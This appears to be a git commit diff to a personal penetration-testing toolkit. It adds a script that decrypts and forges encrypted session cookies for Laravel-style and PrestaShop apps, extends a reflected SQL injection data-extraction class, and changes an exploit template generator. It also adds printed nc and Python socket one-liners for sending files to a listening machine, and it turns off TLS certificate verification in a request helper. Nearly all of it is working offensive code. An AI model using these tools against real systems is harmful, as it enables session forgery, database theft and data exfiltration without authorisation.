This commit is contained in:
Roman Hergenreder 2024-11-16 18:24:07 +01:00
parent 12007c84c1
commit 78f91195f2
12 changed files with 184 additions and 22 deletions

BIN
chisel

Binary file not shown.

BIN
chisel64

Binary file not shown.

148
crypto_cookie.py Normal file

@ -0,0 +1,148 @@
import base64
import hashlib
import hmac
import json
import os
import re
import urllib.parse
from Crypto.Cipher import AES
def unpad(data):
if not data:
return data
last_byte = data[-1]
if last_byte < AES.block_size:
data = data[0:-last_byte]
return data
def pad(data):
if not data:
return data
padding = AES.block_size - (len(data) % AES.block_size)
if padding < AES.block_size:
data = data + bytes([padding]) * padding
return data
def generate_mac(APP_KEY, iv, data):
return hmac.new(key=APP_KEY, msg=base64.b64encode(iv)+base64.b64encode(data), digestmod=hashlib.sha256)
def decrypt_cookie(APP_KEY, cookie):
json_obj = json.loads(base64.b64decode(urllib.parse.unquote(cookie)).decode())
iv = base64.b64decode(json_obj["iv"].encode())
encrypted = base64.b64decode(json_obj["value"].encode())
mac = generate_mac(APP_KEY, iv, encrypted)
if mac.hexdigest() != json_obj["mac"]:
print("[~] WARN: macs are not equal")
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(encrypted)).decode()
def create_cookie(APP_KEY, data):
iv = os.urandom(AES.block_size)
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(json.dumps(data).encode()))
mac = generate_mac(APP_KEY, iv, encrypted)
json_obj = {
"iv": base64.b64encode(iv).decode(),
"value": base64.b64encode(encrypted).decode(),
"mac": mac.hexdigest()
}
new_cookie = base64.b64encode(json.dumps(json_obj).encode()).decode()
# new_cookie = urllib.parse.quote(new_cookie)
return new_cookie
def hkdf_extract(salt, input_key_material, hash_name='sha256'):
"""
Extract a pseudorandom key from the input key material and salt using HMAC.
:param salt: The salt (bytes).
:param input_key_material: The input key material (bytes).
:param hash_name: The hash function to use (string).
:return: The pseudorandom key (bytes).
"""
if salt is None or len(salt) == 0:
salt = b'\x00' * hashlib.new(hash_name).digest_size
return hmac.new(salt, input_key_material, hash_name).digest()
def hkdf_expand(pseudorandom_key, info=b'', length=32, hash_name='sha256'):
"""
Expand the pseudorandom key into one or more keys using HMAC.
:param pseudorandom_key: The pseudorandom key (bytes).
:param info: Optional context and application-specific information (bytes).
:param length: The length of the output key material in bytes (int).
:param hash_name: The hash function to use (string).
:return: The output key material (bytes).
"""
hash_len = hashlib.new(hash_name).digest_size
blocks_needed = (length + hash_len - 1) // hash_len
okm = b''
output_block = b''
for counter in range(blocks_needed):
output_block = hmac.new(pseudorandom_key, output_block + info + bytes([counter + 1]), hash_name).digest()
okm += output_block
return okm[:length]
def hkdf(input_key_material, salt, info=b'', length=32, hash_name='sha256'):
"""
Derive keys using HKDF (extract and expand stages).
:param input_key_material: The input key material (bytes).
:param salt: The salt (bytes).
:param info: Optional context and application-specific information (bytes).
:param length: The length of the output key material in bytes (int).
:param hash_name: The hash function to use (string).
:return: The derived key (bytes).
"""
pseudorandom_key = hkdf_extract(salt, input_key_material, hash_name)
return hkdf_expand(pseudorandom_key, info, length, hash_name)
def decrypt_cookie_prestashop(COOKIE_KEY, cookie):
assert re.match(r"^[a-fA-F0-9]+$", COOKIE_KEY)
assert re.match(r"^[a-fA-F0-9]+$", cookie)
# https://github.com/defuse/php-encryption/blob/master/src/Key.php
KEY_CURRENT_VERSION = b"\xDE\xF0\x00\x00"
HEADER_SIZE = len(KEY_CURRENT_VERSION)
KEY_BYTE_SIZE = 32
CHECKSUM_BYTE_SIZE = 32
COOKIE_KEY = bytearray.fromhex(COOKIE_KEY)
assert COOKIE_KEY.startswith(KEY_CURRENT_VERSION)
assert len(COOKIE_KEY) == HEADER_SIZE + KEY_BYTE_SIZE + CHECKSUM_BYTE_SIZE
real_cookie_key = COOKIE_KEY[HEADER_SIZE:HEADER_SIZE+KEY_BYTE_SIZE]
cookie_signature_check = COOKIE_KEY[0:HEADER_SIZE+KEY_BYTE_SIZE]
key_signature = COOKIE_KEY[HEADER_SIZE+KEY_BYTE_SIZE:]
assert hashlib.sha256(cookie_signature_check).digest() == key_signature
# https://github.com/defuse/php-encryption/blob/master/src/Core.php
CURRENT_VERSION = b"\xDE\xF5\x02\x00"
HEADER_SIZE = len(CURRENT_VERSION)
SALT_SIZE = 32
IV_SIZE = 16
HMAC_SIZE = 32
cookie = bytearray.fromhex(cookie)
assert cookie.startswith(CURRENT_VERSION)
assert len(cookie) >= HEADER_SIZE + SALT_SIZE + IV_SIZE + HMAC_SIZE
salt = cookie[HEADER_SIZE:HEADER_SIZE+SALT_SIZE]
iv = cookie[HEADER_SIZE+SALT_SIZE:HEADER_SIZE+SALT_SIZE+IV_SIZE]
ct = cookie[HEADER_SIZE+SALT_SIZE+IV_SIZE:-HMAC_SIZE]
hmac_data = cookie[-HMAC_SIZE:]
PBKDF2_ITERATIONS = 100000
ENCRYPTION_INFO_STRING = b'DefusePHP|V2|KeyForEncryption'
AUTHENTICATION_INFO_STRING = b'DefusePHP|V2|KeyForAuthentication'
derived_key = hkdf(real_cookie_key, salt, ENCRYPTION_INFO_STRING, 32, "sha256")
cipher = AES.new(derived_key, AES.MODE_CTR, initial_value=iv, nonce=b"")
plaintext = cipher.decrypt(ct).decode()
# TODO: check hmac_data
lines = plaintext.split("¤")
return dict(map(lambda line: line.split("|"), lines))

@ -292,9 +292,14 @@ class FindObjectsWorker(DownloadWorker):
with open(abspath, 'wb') as f:
f.write(response.content)
try:
# parse object file to find other objects
obj_file = dulwich.objects.ShaFile.from_path(abspath)
return get_referenced_sha1(obj_file)
except:
print("[-] Error parsing:", filepath)
os.remove(abspath)
return []
def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"):

@ -643,6 +643,7 @@ sub makeRequest {
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 },
);
$req = new HTTP::Request $method => $url;

11
sqli.py

@ -5,7 +5,8 @@ import string
class SQLi(ABC):
@staticmethod
def build_query(column: str, table=None, condition=None, offset=None):
def build_query(column: str|list, table=None, condition=None, offset=None):
column = column if isinstance(column, str) else ",".join(column)
condition = "" if not condition else f" WHERE {condition}"
offset = "" if offset is None else f" OFFSET {offset}"
table = "" if not table else f" FROM {table}"
@ -76,10 +77,9 @@ class ReflectedSQLi(SQLi, ABC):
pass
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
return int(self.extract_string(column, table, condition, offset))
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False):
if str not in self.column_types:
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
return None
@ -137,12 +137,13 @@ class ReflectedSQLi(SQLi, ABC):
query_columns[offset] = column
offset += 1
column_str = ",".join(query_columns)
# todo: fix count(*) for distinct
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:

@ -6,8 +6,13 @@ import urllib.parse
def generate_template(base_url, features):
ip_address = "util.get_address()"
for feature in features:
if feature.lower().startswith("ip_address="):
ip_address = "'" + feature.split("=")[1] + "'"
variables = {
"IP_ADDRESS": "util.get_address()",
"IP_ADDRESS": ip_address,
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"',
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"})
}

@ -46,6 +46,7 @@ if __name__ == "__main__":
print("[+] Now listening, download file using:")
print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
print('python -c \'import socket;sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0);sock.connect(("%s",%d));sock.sendall(open("%s","rb").read())\'' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
print()
serve_file(listen_sock, path, forever=True)

Binary file not shown.

File diff suppressed because one or more lines are too long

Binary file not shown.

Binary file not shown.